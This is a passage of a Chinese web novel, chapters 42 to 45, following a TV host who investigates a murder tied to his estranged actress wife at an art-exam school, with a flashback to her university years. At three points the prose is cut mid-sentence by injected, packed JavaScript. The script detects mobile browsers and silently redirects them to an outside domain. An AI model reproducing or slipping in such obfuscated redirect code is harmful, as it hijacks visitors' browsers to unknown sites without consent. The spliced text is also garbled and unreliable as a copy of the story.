“这就对了!”邵聿用黑色签字笔在结构图上重重地画了一个圈,“走廊与空中花园用玻璃门隔断,而室外的光线比室内要强,一旦有人经过,身体挡住部分室外光,所以监控画面里就会明显地暗一下。” “聿哥,那这人难道是从空中花园飞进来的吗?”刘恪辰也没过大脑,直接问道,收获了邵聿一个白眼。 “你觉得可能吗?”邵聿仔仔细细地将楼层结构图看了好几遍,也没能找出那个人凭空出现的入口。 “不是坐电梯上来的,不是从空中花园飞进来的……”刘恪辰嘀嘀咕咕念叨着,也陷入了僵局。 “叮——”邵聿的手机发出一声清脆的消息提示音,他随手抓起手机,瞥了一眼屏幕上的新闻弹窗,刚准备放回到桌面上,却猛地举到眼前。 「据警方消息,知名女星江某否认网上流传视频画面与柏某被害一案有关,坚称其自安全出口逃生,并未与柏某见面。」 邵聿右手举着手机,左手压在笔记本的结构图上,笔尖落在最左侧玻璃门的位置,随后一分一毫地向下移动,落在左下侧那条平滑的直线上,轻轻地画下一个圆。 “步行梯。”他凌厉的目光锁定在那片狭窄的区域。 42. 僵持 扬尚艺术街区位于A市郊区,这里原本是大型钢铁厂,十几年前因为经营成本与环境污染,迁移到了外省,留下大片空置厂房和闲置土地。 近年来在政府的大力扶持之下,引入扬尚集团作为社会资本,运营开发各类艺术长廊、美术场馆、文化活动场所等,逐渐发展成为全市著名的文化聚集地。 布满铁锈的钢铁厂房上,艺术家们用喷漆绘制了充满设计感和创意性的画作,陈旧死板的废旧钢铁摇身一变,成了极具张力的艺术品。 刘恪辰边走边拍,走两步就要停下来拍几张特写,拍的时候还要张大了嘴巴惊叹,“哇——聿哥,你快看!这个也太酷了!这画的是一条龙吗,太有创意了吧……” 邵聿的心思完全不在欣赏艺术品上,很快就将他落下了很长的距离,他跟着导航左拐右拐,终于在穿过了一片十几米高的烟囱之后,到达了目的地:一座拥有高大玻璃门的独栋单层建筑。 玻璃在不算耀眼的阳光下仍然散发着绚烂的光芒,周围的空气都笼上一层梦幻般的彩纱,愈是靠近就愈能察觉更多色彩,深深浅浅,真真假假,如堕梦境。 门口没有任何门牌或者招牌,路人很难看出这玻璃门后的功用。他搭上门把手,门没有落锁,于是直接将门推开,低头迈过了门槛。 “老公?” 视线里悄然出现一双黑色高跟鞋,与脚步一同到达耳畔的,还有一个难掩惊讶的女声,与分外陌生的称呼。 他猛地抬起头,与江知渺微蹙的眉眼不期而遇。她睁大了那双深不见底的眼眸,墨色在眼底晕染开来,化成散不尽的困惑,迷茫中还带着几分怔愣,出神地盯着他,似乎在用眼神问他:“你怎么会在这里?” 他总是抵抗不过她的这种眼神,那样无所不能的国民女演员,在他面前却时常失了镇定,一个眨眼、一声轻笑亦或是就像现在这样的一个眼神,懵懵懂懂,像只初生的小羊羔。 从这些细小的碎片里,才能窥见那个真正的江知渺。不是身披盔甲,不是刀枪不入,不是所向披靡,而是一个活生生的——爱人。 可惜随着时间流逝,这个真正的她已经很难窥见了。 邵聿时常痛恨自己的贪婪,他既爱着那个敢于在隆冬时节跳下冰水的江知渺,也爱着这个等待他给出一切问题答案的江知渺。 在视线交汇的第一秒,他的心底就经历了一次毁灭性的八号风球。 大二那年暑假,他参加了学校组织的香港访学。站在TVB演播室,面对着玻璃幕墙外呼啸的热带风暴,他操着刚学了三天的蹩脚粤语,播报天气: “欢迎收睇《天气速递》。天文台喺今晚8点正已经挂起咗8号东北烈风信号,台风‘山猫’正逐步逼近我哋香港,听日将会带来显著嘅狂风暴雨。 天文台表示,听日中午前后可能会改挂更高风球,打工仔最好趁早返屋企,公司都应该弹性安排。大家记得收好窗台嘅花盆同晾衫架,费事跌落街伤到人! 我哋会继续同大家紧贴台风最新消息,记得锁定本台报道。各位保重,平安最紧要,我哋稍后再见!” 那不是正式直播的节目,仅仅是一个供他们体会未来工作场景的实践活动,可对于第一次站在主流媒体播音席上的他来说,极度迫真的环境带给他远远超乎一次简单体验能够获得的满足感,也彻底激发了他的野心。 想要,渴望得到,想要。 无论付出多大的代价。 台风呼啸而过,如烈火燎原,寸草不生的心房沃土硬生生拔出几束温室花朵,他小心翼翼地,双手捧起娇嫩的花苞,用身体阻挡猛烈风暴,一步一步,艰难地向着她走去。 “我的爱人。” 他却只来得及在脑海里想了一瞬。 “呀,这是谁来了?知渺,你带家属过来怎么不提前跟我说一声啊?” 一个看上去四十来岁的中年女性从走廊深处走了过来,邵聿眼睁睁地看着自己的手臂被江知渺亲密地环住,没有任何缝隙,好像也从来没有过缝隙。 “就算您现在从艺大退休了,也依旧是我的老师,我怎么好意思麻烦自己的老师接待我们呢?” 她讲话的时候带着笑意,俏皮的语气倒真的像是学生面对着老师,身体随着话语轻轻摇晃,真丝衬衫在他手臂的皮肤上轻柔地磨蹭。 她向着邵聿的方向倾了倾身子,被挽住的左臂承受住细微的重量,却又丝毫感受不到真切的依赖,尺度克制得恰到好处。 风暴戛然而止,仿佛从未发生过,平静、宁静、死寂,暴风雨过后,沉重的空气压得他喘不过气来。 又是这样,邵聿扭过头,缓缓垂下目光,刚好江知渺也在抬头望向他,近在咫尺的精致面容愈发惊艳,一颦一笑之间,都是妩媚动人。 然而他却全然没有了几秒钟之前的雀跃,刹那间他甚至以为自己方才是在做梦,梦醒了他们又做回貌合神离的表面夫妻。原来那些柔情到令人想要哭泣的瞬间,也都是高超的表演而已。 可悲的是他竟然毫无障碍地就读懂了现下的场合,他的大脑比任何时候都清醒,知道自己应该像个合格的丈夫一样,冲她宠溺一笑,随即迎上前去,握住来人的手,自我介绍说“您好,我是知渺的爱人,邵聿”。 可他现在突然就是不想这样做了,哪怕他始终认为这是一种殊荣。即使是半真半假,在别人面前称自己是江知渺的爱人这件事都能让他得到几分安慰。 灰尘被热带风暴席卷至半空,又落回了原处,心头厚重的尘埃让邵聿只剩下了疲惫,他想直接与江知渺对峙,问问她:这场美满婚姻的好戏究竟要演到什么时候? 江知渺不动声色地眨了眨眼,显然是对他内心的龌龊想法毫不知情,只是因为他慢半拍的反应有些焦急,尚且有耐心等待着他复刻从前的成套动作,两只无辜的兔子在他的心尖隔靴搔痒。 他还是没有忍心撕下默契的伪装,却也不愿再一次向她低头,就这样静默着,僵持着,一动不动。 时间过去了十几秒,放在漫长的时间轴里如沧海一粟的时间长度,此刻却漫长得磨人,江知渺的脸色明显黑了下来,哪怕是用上再好的演技,眼底因心焦而导致的红血丝也像咳嗽一样控制不住。 邵聿知道,再等下去会让他们两人同时难堪,他自以为的“报复”实际上都是伤敌一千自损八百的幼稚把戏,但他还是迟迟没有开口,用近乎冰冷的外壳将自己包裹起来。 就在他以为事情将要朝着最坏的方向发展时,那扇宛若现实与梦境穿梭镜的玻璃门“吱呀”一声打开了,刘恪辰阳光开朗的声音不知为何有些怯场,“聿哥……” 他终于从僵局里暂时被解救出来,回过头去却见到门口站着三个人,将门外的阳光挡得一干二净,两方相见,无一例外,脸上都露出了惊讶的表情。 “好巧啊,邵大主持。”李璟意故意捏尖嗓音,拐着弯地说出这句话,随即又夸张地瞪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15976358|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大了双眼,目光在他和江知渺的脸上来回逡巡,“知渺,你们是一起过来的呀?” 他明显感觉江知渺的身体僵硬地顿了一下,毕竟这是连他自己也要思考一下的场景。李璟意怎么也会来这里,这是她第一次过来吗,她到底抓到了什么线索,重重疑惑萦绕在他的周身,化作一团雾气,将他与江知渺隔绝开来。 江知渺自然地放下了挽着邵聿的手臂,迎上前去向李璟意伸出右手,“李记者,你好,没想到在这里见到你。” “确实,我也没想到,还能在一个小小的艺考培训班,见到咱们的大明星。知渺,你是来给他们上课的吧?”李璟意探出身子,向她身后那个中年女人挥了挥手,“哈喽,国立电视台,李璟意,幸会。” 那个女人紧赶两步走上前来,热情地握住李璟意的手,“您好您好!李记者,您来之前怎么也没提前说一声,我们这儿地方小,条件比较简陋,不好意思,接待不周。” “没关系”,李璟意上下将她打量了一遍,“如果我没认错的话,您就是扬尚艺术学院的校长颜教授吧?” 听到这里,邵聿隐约从记忆里找到一些关于这个女人的信息。 颜洪,国家一级演员,京剧出身,四十岁离开舞台,进入中央艺术大学担任表演系教师,五十岁成为表演系最年轻的正职主任,五十五岁光荣退休,桃李满天下。 退休后她也一直没有离开戏剧教育行业,一开始时做过戏剧疗愈师,两年前,全国排名前三的艺考培训机构“艺心”搬至A市,被扬尚集团引入到了艺术街区,并特聘颜洪作为执行校长。 “艺心”成立的十年里,培养出许多现下炙手可热的艺人,可以说是名副其实的“明星摇篮”,每年都有无数艺考生和他们的家长削尖了脑袋往里进。当然,价格也是水涨船高。 这些都是婚后那两年里江知渺和她说过的,当时她被隐形封杀,很难接到剧本,所以有了去做艺考老师的想法。 李璟意大剌剌地侧身,瞥了邵聿一眼,“怎么,综合部这次不做龙套演员专题,改做艺考生特辑了?” 江知渺的笑意凝固在嘴角,龙套演员专题节目正是她和邵聿认识之后他策划制作的,尽管邵聿说过并非只是为了她,可当时自己到底成为了其中一个被访者,也因为这个节目获得了一些小角色。 这就是明晃晃地在暗示邵聿谋私利了,如今看到他们两人同时出现,李璟意恐怕是要借题发挥。 邵聿却并没有正面回应,甚至是直接无视了她的冷热话,径直走到颜洪面前,绅士地弯腰鞠躬,“您好,颜教授,久仰大名。” 颜洪眼角含笑,细细的皱纹暴露了她的年龄,她握住邵聿的手,欣赏地点了点头,对着江知渺嗔怪道:“你啊,刚毕业就结婚,这么多年才带过来给老师见一见,你这孩子!” “老师,我们就是太忙了,没顾得上……”江知渺心虚地小声回应道。 “行了,我还不知道你吗,整个一戏痴,别说是我了,就是邵聿,你肯定也没少让人受委屈。”颜教授转而和煦地对邵聿笑着说道:“我这个学生啊,心思都在表演上,还得麻烦你多费点心。” 江知渺艰难地望向他,她早就察觉到邵聿今天的情绪不对劲,李璟意突然到来前他迟迟不肯开口,如今话赶话说到了这里,若是他还不肯圆过去,恐怕自己真要在这么多人面前难看了。 她绝望地望向邵聿阴晴不明的侧脸,心重重地沉了下去。 43. 合作 所有人的目光都齐刷刷地落在邵聿的身上,等待着他接住这场简单的寒暄。 时间变得分外漫长,恍惚间,江知渺甚至以为自己听到了关着门的教室内挂钟指针的滴答声。她在心里数着数,准备等到十个数结束,就自己开口囫囵过去。 但邵聿最终还是没有交给她这个难题,他忽然笑着摇了摇头,宠溺地看向她,眼神像水一样温柔,有意无意地放低了声线,像一块人为捏小的海绵,细密柔和,“知渺是个很好的妻子,平日里我的工作忙,幸好有她体谅我。” 江知渺终于松了一口气,尽管表面上不敢表现出来,可手心里的一层冷汗还是暴露了她心有余悸。 近几年里,需要邵聿这样配合自己的情形,已经被她尽量压缩到接近于零了。原因很简单,邵聿的表现总是不尽如人意。 大部分时间里,她也并不怪他,毕竟他们一直是分居状态,上一秒冷若冰霜,下一秒就要在外人面前表现得亲密无间,也的确强人所难。 然而总是在某些场合下,他难掩敷衍的态度,让她下不来台,在周围人那种戏谑的目光里,江知渺忍不住在心里抱怨,甚至直接与他争吵。 就在几个月前,《凤皇止阿房》的拍摄过程中,他们便因这件事不欢而散过。 那天刚好是五月二十日,全组都在Z省的一个山旮旯里赶工拍摄,张导非常善解人意地取消了夜戏拍摄计划,下午六点准时收工。 她刚换下厚重的戏服,连头包还没来得及拆,就听房车外有人喊她:“知渺姐,你快出来!有人找——” 本就空旷的山谷里回荡着“有人找——”三个字,拖着长长的尾巴在半空中盘旋,她推门出来,邵聿正静静地站在一棵枯树下,休闲的运动服被他穿得板板正正,不像是这简陋混乱的山野里该出现的身影,倒像是应该站在新闻直播间里。 她一出来,四面八方的剧组工作人员和群演们都八卦地凑了上来。不过江知渺只觉得困惑,“五二零”这种日子对他们俩来说早就已经毫无意义,他突然出现在这里,她怎么也想不出一个合理的理由。 “晚上我在山脚的民宿里做节目,听说有剧组在山上拍戏。”邵聿像是能够看穿她的心思,直接回答了她的心声。 果然,不会是来找她过什么节日的。 江知渺心里既松了一口气,又觉得空落落的。她点了点头,“你吃过晚饭了吗?” “吃过了”,邵聿看了一眼手表,“你忙吧,我该下山了。”说着,直接回过头去寻找来时的小路。 “这么急吗?”话一出口她就后悔了,这几个字凑到一起,就算不加任何语气修饰也有点太过腻歪了,江知渺顿时有些脸热。 “嗯,七点半开始录制。”邵聿似乎并没有对她突兀的一句话有过多的反应,只是淡淡地解释了一句,然后两人就又陷入了无言。 “好,那你先走吧。”她顿了顿,思索片刻还是加上一句,“注意安全。” 邵聿一个人上山来,又一个人下山去,见面的时间只有短短几十秒,直到坐回化妆间,她还是有种不真实感。 不过,那种不真实感很快就被浓烈的热情取代了。柏霆宇不知何时凑上前来,靠在她的化妆台上,神秘地眨了眨眼,“晚上有约吗,姐姐?” “所以——”李璟意清亮的音调打断了她的回忆,“你们夫妻俩怎么一起到‘艺心’来了?” 江知渺下意识望向桌子对面的邵聿,对方正若无其事地夹菜,她沉了一口气,挂起一个疏离礼貌的笑容,“我们是来看望颜教授的。” “哦,是吗?”李璟意反而看着邵聿,明显是向他求证。 方才那种窒息的感觉又一次扼住了江知渺的喉咙,她放下手里的筷子,手指紧张地捻着桌布,屏气凝神,等待着邵聿的反应。 这次不再万众瞩目,午饭时间,没有了颜教授在场,刘恪辰和伍旸两个大男孩神经大条地咬着炸鸡腿,心思全在干饭上。只剩下她和李璟意,各怀心思,一个坐在他对面最近的地方,一个坐在方桌最远的一侧,却不约而同地将视线投到邵聿的脸上。 这张脸,无论看过多少次,江知渺仍然无法取掉心里的滤镜,反而随着时间留下更多痕迹,愈发具有成熟男性的魅力。 早些年接受采访时,曾有记者问她,合作过这么多男艺人,觉得其中谁最帅,她惊讶地发现自己心底的声音在说“都一样”,下一秒,脑海里浮现出邵聿的模样。 可那时他们两人早已分居快两年了,她在事业的上升期,邵聿也刚开始做第一季《钩沉》,两人忙得连家都没空回,一年到头见面的次数屈指可数,甚至不如在电视上看到对方的次数多。 她将自己对邵聿的这种下意识的倾向定义为初恋滤镜,也可以理解为一种没什么用的忠贞,可能是她的道德水平比较高吧,她这样说服自己。 很久很久没有这样仔细地端详过邵聿的样子了,看他吃饭时举手投足间流露出的优雅和素养,江知渺奇怪地感受到一种新鲜感,仿佛他们初次见面时一样,总是挪不开眼神。倘若能够心无旁骛地看着他,那就更好了,江知渺不无遗憾地想道。 她现在还要分出精力来等待邵聿给出的最终判决,邵聿端坐在高高的法官席上,手中握着能够决定她生死的法槌,一旦重重落下,她就会失去最后一块遮羞布,在外人面前暴露出最不想被人知晓的一面——她的婚姻名存实亡。 “我来做调查,刚好碰上了。” 法槌终于还是落了下来,李璟意幸灾乐祸的笑容、刘恪辰呆若木鸡的表情、伍旸惊恐万分的神色,通通化成了嘲讽的利刃刺向她,她顿时如坐针毡,只想逃离这个时空。 她难以置信地抬起头,邵聿似乎并不觉得自己的一句话具有多大的破坏力,抑或是明知故犯,总之他一脸平静,似乎什么也没发生过一样,沉静、安稳。 这下倒显得她的难堪非常廉价了,她忍不住在心底自嘲起来:你那么在意的东西,他只需要一句话、不、甚至什么都不说什么都不做,就能轻而易举地毁掉。 “我吃好了,你们慢用。”她再也无法在邵聿这池毫无波澜地池水边游荡,找了个借口直接离开了学生餐厅。 她离开前,这一桌以及周围五米以内的空气就已经接近凝固,如今只剩下国立电视台的两对师徒,气氛就愈发剑拔弩张,刘恪辰和伍旸默契地对视了一眼,刚准备开溜,就听他们针锋相对起来。 “你来查什么?”李璟意审视地打量着邵聿和刘恪辰的背包。 “需要向你汇报吗?”邵聿开口就是夹枪带棒。 李璟意心知刚才自己简单的一句“挑拨离间”,已经彻底激怒了这个心思深沉的主持人,她了然地点了点头,“你以为我猜不出来吗?” 邵聿也没打算继续跟她耗着,端起餐盘,向刘恪辰使了个眼神,起身就走。李璟意在他走出三步时,突然轻轻说了一句:“步行梯。” 他立刻定住脚步,艰难地回过身去。李璟意也端着餐盘走了过来,意味深长地笑道:“你也不觉得这是巧合吧?” 她的话瞬间击中了邵聿隐而不发的心声,的确,在他们能够掌握的极少的几个线索中,VeilMansion的步行梯存在感太过突出,以至于他无论如何也没法相信,这一切纯属巧合。 昨天他和刘恪辰从VeilMansion的监控视频里发现了冯教授的身影,也通过光影那一刹那的明暗变化,确定有人自步行梯上楼、并进入走廊尽头那个房间。 那是42层,绝不可能有人从一层全程通过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15990823|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 步行梯上来的,那就只有一种可能:那个人先乘坐电梯到达42层附近地其他楼层,再走到42层。 出于保护客户隐私的考虑,走廊上并没有安装监控,唯有通过电梯口的监控画面才能判断每个人去向哪个方向。 他们把那个人出现的时段里,三十至五十层电梯出入的客人都仔仔细细核对了一遍,终于发现,每当刘教授进入42层走廊尽头的房间,都有一个穿着黑色长裙的年轻女孩,先乘电梯到达四十五层,电梯门打开后,便轻车熟路地左转,走向尽头步行梯的方向。 尽管无法判断她是不是进入了那个房间,但时间上的全部重合,还是让邵聿渐渐开始思考刘恪辰的那个猜想:冯炳会不会是来VeilMansion私会情人的? 他们连夜把监控截图发给技术组处理,终于得到了一张比较清晰的正面照片。而就在她穿着的那件黑色T恤左侧,依稀可以辨认出一个淡粉色的logo:“艺心”。方才在照片墙上,刘恪辰一眼就认出了那个女孩。 “我知道你很难信任我,我也一样,毕竟我们两个之间,只有一个人能站上那个位置。”李璟意严肃地绷着脸,“但这是新闻,从新闻的角度来说,我们的立场是一致的。” 邵聿将信将疑地凝视着她,方才那个让他和江知渺陷入窘境的问题还记忆犹新,他打量着这个老对手认真的神情,在心底问自己:我能相信她吗? 似乎是看出了他犹豫的原因,李璟意忽然走近了两步,在他的身侧小声说道:“还有一个关于步行梯的巧合,不是吗?” 邵聿心里顿时警铃大作,他后退一大步,拧紧了眉头。 她说得没错,促使他私自拷贝VeilMansion监控视频的理由、怀疑年轻女孩通过步行梯与冯炳私会的理由、马不停蹄赶到“艺心”调查的众多理由中,都有相同的一个,那就是:这些线索与柏霆宇案中江知渺的行踪有着巧合般的联系。 假如这其中就有解开真相的钥匙,那么他希望,自己是第一个获得真相的人,这样至少他还可以作为护住她的最后一道防线。 “你放心,我只做新闻,只看事实,所以,你我的立场不一定相悖。如果你来这里是想查明事实,那我们可以暂时放下恩怨,但如果你不是,那……”李璟意顿了顿,失笑道:“那就当我看错你邵聿了吧。” 他被迫开启了激烈的思想斗争,明知与VeilMansion有关的一切事件都有可能是解开江知渺嫌疑谜团的关键钥匙,现在他站在了一个不能反悔的分岔路口,一边是不计后果地一头扎进深渊之中,另一边则是忍痛搁置怀疑转而走上光明大道。 他不知道那条所谓的独属于新闻的光明正途究竟指向何方,坚持信仰却失去挚爱,早在五年前他就体会过一次了。倘若再发生一遍,邵聿不知道他还能否原谅自己。 如果查到最后,种种证据都指向江知渺的嫌疑……邵聿倒吸了一口凉气,不停地在心底暗示自己:不会的,她不会的。 “……我没有杀他。我和他,什么都没有。”他的耳畔回响起江知渺曾经的辩白,那是在柏霆宇死亡之后的第二天,她的声音显得那么可怜和悲哀,如果不是固执地没有解开安全带,他当时几乎忍不住要冲上去将她抱进怀中安慰。 可是,知渺,就在几个月前,五月二十日,初夏,Z省那片绿树葱茵的山川,我为你准备的烟花,你在和谁一起看? 他瞪大了双眼,空洞地看着窗外,如今已是盛夏,但为什么他仍然能够感受到一丝凉意,好像从未走出过那片山林,烟花下那两个紧紧拥抱的身影,从来没有消失过? “合作愉快。”邵聿向李璟意伸出手。 知渺,我选择再相信你一次,相信你我都能从这虚伪的世界里全身而退。 44. 反抗 江知渺从食堂落荒而逃,他们是怎么看待她强撑体面的伪装下不堪的婚姻的,她已经不愿也不敢再去思索。 午休时间,“艺心”里冷冷清清,她只顾着蒙头走路,却不小心在走廊拐角处,撞上了一个男孩的肩膀,随着碰撞那个男孩发出一句清晰的咒骂“你他妈的”。 她抬起头,才发现迎面走来一男一女两个年轻的艺考生,两人把狭窄的走廊堵得密不透风,却丝毫没有打算侧身让路,若无其事地斜睨着她。 那个男孩用极其轻狂的眼神上下打量她一番,随即发出一句近似于陈述的问句:“你就是江知渺?” 拖长拉扯的语调令她不适地皱起了眉头,照理说是他们两人挡住了走廊,发生碰撞却什么也不说,,非但没有半分愧疚,反而一脸不屑,女孩甚至还挑着眉毛,用审视眼神盯着她衣服上的品牌logo。 江知渺不打算与他们过多纠缠,娱乐圈浮浮沉沉这么多年,这样自以为是的年轻人她见过太多,仗着家里有些资本,依仗着自己年轻,认为所有人都应该给他们让路,往往他们的结果却是销声匿迹。 她点了点头,直接越过他们身边,大步朝前方走去,也不管身后那两个孩子还说了什么,径直走向校长室。 她刚敲了几下门,就听屋内传来颜教授语重心长的声音,“我跟你说,你的这些担忧和纠结都是很正常的,大家都是这样,面对机遇你要敢于去争取,不然就会被别人抢走。” 想必是在和学生谈话,江知渺退了一步,打算先行离开,颜教授一直是非常体贴学生的老师,在艺大的时候就喜欢和学生促膝长谈,她自己也和颜教授聊过很多次,关于职业、关于家庭、关于未来,每次谈话都受益匪浅。 不过敲门声已经传了进去,不一会儿,门就被打开了,颜教授保养得当的面孔出现在眼前,一见是她,笑得眼角泛起几道细纹,“知渺,你来啦?来,进来,我这儿很快就结束,你坐旁边稍等一会儿。” 江知渺乖巧地坐到了沙发上,只见颜教授宽大的木质办公桌前站着一位身材娇小的女孩,脸颊还带着稚气未脱的婴儿肥,腼腆地低着头,视线却追随着她的身影。可当江知渺刚一与这个女孩对视,她就迅速把眼神收了回去。 “好了,今天先到这儿吧,你回去再想想我跟你说的话,不着急给我答复。”颜教授的声音温柔如水,配合着在女孩肩上轻柔的拍抚,江知渺几乎是一瞬间就看到了大学时的自己。 不过那时她没有低下头,反而是昂首挺胸地站在表演系主任颜洪的办公室里,倔强地梗着脖子,脸犟得通红。 “你说你……”在她的面前,站着一位三十来岁的男老师,那是他们班的辅导员,他恨铁不成钢地叹了一口气:“你去好好地给同学道个歉,不就什么事都没有了吗,非要在班会上逞英雄,你以为你是英雄烈士反抗封建压迫呢?” 十九岁的江知渺目光直挺挺地盯着辅导员的脸,虽然没说一个字,可眼神却丝毫没有掩饰内心的不服气。 辅导员当然也看出了她那点心思,气得直拍桌子,“我跟你是说不下去了,一会儿让系主任好好教训你!” 话音未落,办公室的门从外面轻轻拉开了,颜洪夹着一个厚厚的笔记本,视线在他们两人的脸上扫了一圈,随即绽开一个和蔼的笑容,“别站着啦,坐,坐下说。” 辅导员像是抓住了救命稻草,大跨步来到颜洪身边,咬牙切齿地说道:“颜主任,您是不知道,这丫头都干了什么! 她把一个男同学的牙打掉了两颗,人家家长找到学校来要说法,好不容易同意私下和解,就让她给人家赔个礼道个歉,结果她在班会上说什么‘请大家向我学习’? 您说说,这像话吗?这要是传出去,外面得怎么看我们艺大表演系!” 江知渺依旧一言不发地听着,她不赞同辅导员的一些表述,不过是觉得没必要进行无谓的争论,所以也只是犀利地瞪着他的背影。 颜洪听了,却像是听到什么好笑的笑话,忍不住笑出了声,惊讶地望向她,笑道:“是吗?你这么厉害呐?” 江知渺以前跟这位面善的系主任没什么交集,也分不清她到底是在单纯地感叹还是暗暗嘲讽,只是把头扭向一边,暗中下定了决心,绝对不会认错。 颜洪对着辅导员了然地点了点头,“行,我知道了,你先去忙吧,我跟她聊聊。” 辅导员临走前还嘱咐了一句:“主任,这姑娘倔得很,您可别被她气着。” 颜洪笑着摆了摆手,亲自把他送到门口,轻轻扣动门栓,并不宽敞的办公室彻底成了一片私密的空间,江知渺情不自禁地放松了下来。 “你叫江知渺,对不对?”颜洪坐到小沙发上,拍拍身侧的空位置。 江知渺犹豫了片刻,见她似乎并不是在客套,而是真的等着自己坐在身边,才迟疑着坐了下来,不过仍然保持着很大的空隙,努力地挤着扶手。 颜洪也没生气,只是稍稍往她的方向靠了靠,就继续问道:“知渺,你为什么要打人呢?” “辅导员已经跟您说了,我就是看不惯他那副嘴脸。”江知渺始终把头扭向颜洪的反方向,打量她墙上挂的那盆绿萝,一看就是精心照顾打理过,枝叶像少女青春的发丝一样顺滑地垂下来,每一个叶片都饱满丰润,青翠欲滴。 “我想听你说说你的理由。”颜洪起身去饮水机接了一杯水,递给她,“不着急,慢慢说。” 江知渺这才转过头去,细细打量着她的神情,颜洪坦然地迎着她猜疑的眼神,轻柔地拉过她的手,摊开她的手掌,将纸杯放进掌心。 温热的水温透过薄薄的杯壁,温暖了她因为紧张而冰冷的皮肤,十指连心,半杯温水下肚,连带着五脏六腑都熨帖起来。 “他想追我,但是被我拒绝了,前天晚上十一点,我从图书馆回宿舍,他突然从宿舍楼旁边的树林里窜出来,对我动手动脚。” 江知渺仰头,将杯子里的水一饮而尽,干燥沙哑的嗓子稍稍得到缓解,“天很黑,我推他的时候,拳头就挥到了他的脸上。” 她紧紧地抿上嘴唇,回忆起当时的场景仍然让她不寒而栗,她试探性地望向颜洪,对方仍然温柔地看着她, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010083|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眉眼间流露出几分担忧,“还有什么想要跟我说的吗?” 像是突然间得到了某种赦免,江知渺的声音开始颤抖起来,“不,没有……”手中的纸杯已经被她捏成了不成样子的纸团,她深深地吸了一口气,重复了一遍,“没有了,就是这样。” “他叫什么名字?” “李智元。” “和你同一级吗?” “大我两级。” “你们是怎么认识的?” “我不认识他!”江知渺急促地回道。 “好,那你知道他是怎么注意到你的吗?” 她不自然地眨了眨眼,“颜教授,你是想说,是我品行不端,勾引的他吗?” 颜洪无奈地摇了摇头,“我不是这个意思,你先别生气。”颜洪循循善诱的语调就像是一首童谣,打乱了她原本已经搭建成熟的思绪,用最简单的方式令她功亏一篑。 她猛地站起身,往门口走去,“颜教授,我不认为自己在这件事上有任何过错,但如果你认为我应当接受处罚,可以直接给我下处分。” “知渺”,颜洪站起身来,紧赶两步拉住她的手臂,“我不打算给你任何处罚。” “什么?”她停下脚步,慢吞吞地转过身,难以置信地盯着颜洪。 “李智元的父亲李增,是艺大87级校友,增艺楼便是他捐赠修建的。”颜洪严肃地拿起桌上的档案袋,翻开其中一页,“李智元,表演系大四学生,在他入学当年,增艺楼落成。四年间,他收到三次学术警告、两次纪律警告以及一次通报批评,皆在半年内撤销。” 她将档案扔到桌面上,抬眼看向江知渺目瞪口呆的表情,“知渺,我在艺大表演系当了十年老师,你瞒不住我的。” 听到这里,江知渺高高悬着的心终于落了下来,她长舒了一口气,如释重负地撑住门板,大口大口地呼吸着。 “这些纪律警告和通报批评,都是因为骚扰女生,你觉得这次也会像以前一样,被高高挂起又轻轻放下,没有人会帮你洗脱受到的委屈,所以你想自己报复,在将醉醺醺的他推开之后,又主动返回来,挥拳打伤了他。” 江知渺捂住脸,一滴热泪从眼角滑落到掌心,仿佛手掌还残留着温热的血迹,过去两日两夜仍然难以清洗,不由得让她恐惧起来,担心会不会一辈子都洗不干净。 颜洪将她扶到沙发上,递给她一盒抽纸,“你放心,作为表演系主任,我会妥善处理好这件事的。” “……您,打算怎么处理?”她哽咽着问道。 “开除。”颜洪斩钉截铁地说道。 “啊?”江知渺怔怔地举着纸巾,一滴眼泪滚落在崭新的地毯上。 “根据校规,学术警告与纪律警告次数之和大于等于五次,自动开除学籍。”颜洪顿了顿,狡黠地笑了一下,“并没有说撤销后的警告不算数。” “江知渺”,她的目光忽然变得格外柔和,仿佛慈祥的母亲关怀自己的女儿,语重心长地叹息道:“不要忽视自己的力量,但——” “有些事,你必须要学会求助。” 45. 回避 “艺心”校长室内,那个娇小的女孩离开时,江知渺的余光瞥到她抹了一下眼角,她下意识想要再去看一眼,颜洪就走到了她的面前,拉着她的手坐到沙发上,“说吧,这么多年你都想不起我这个老师,今天突然过来,有何贵干?” 虽然是质问的语气,可却丝毫感受不到她有脾气,反倒是带着十足的调侃。江知渺将视线从门口收了回来,对她无辜地眨了眨眼睛,“我真的是想您了,最近剧组放了几天假,早就听说您在‘艺心’,老师,您不会怪我不请自来吧?” 颜洪爽朗地笑了起来,“怎么会呢,你可是我最得意的学生!正好,咱们这儿现在都是准备参加明年艺考的学生,刚来没多久,学业也不算重,我正愁给他们开什么课呢,要不你来给他们上两节课?” 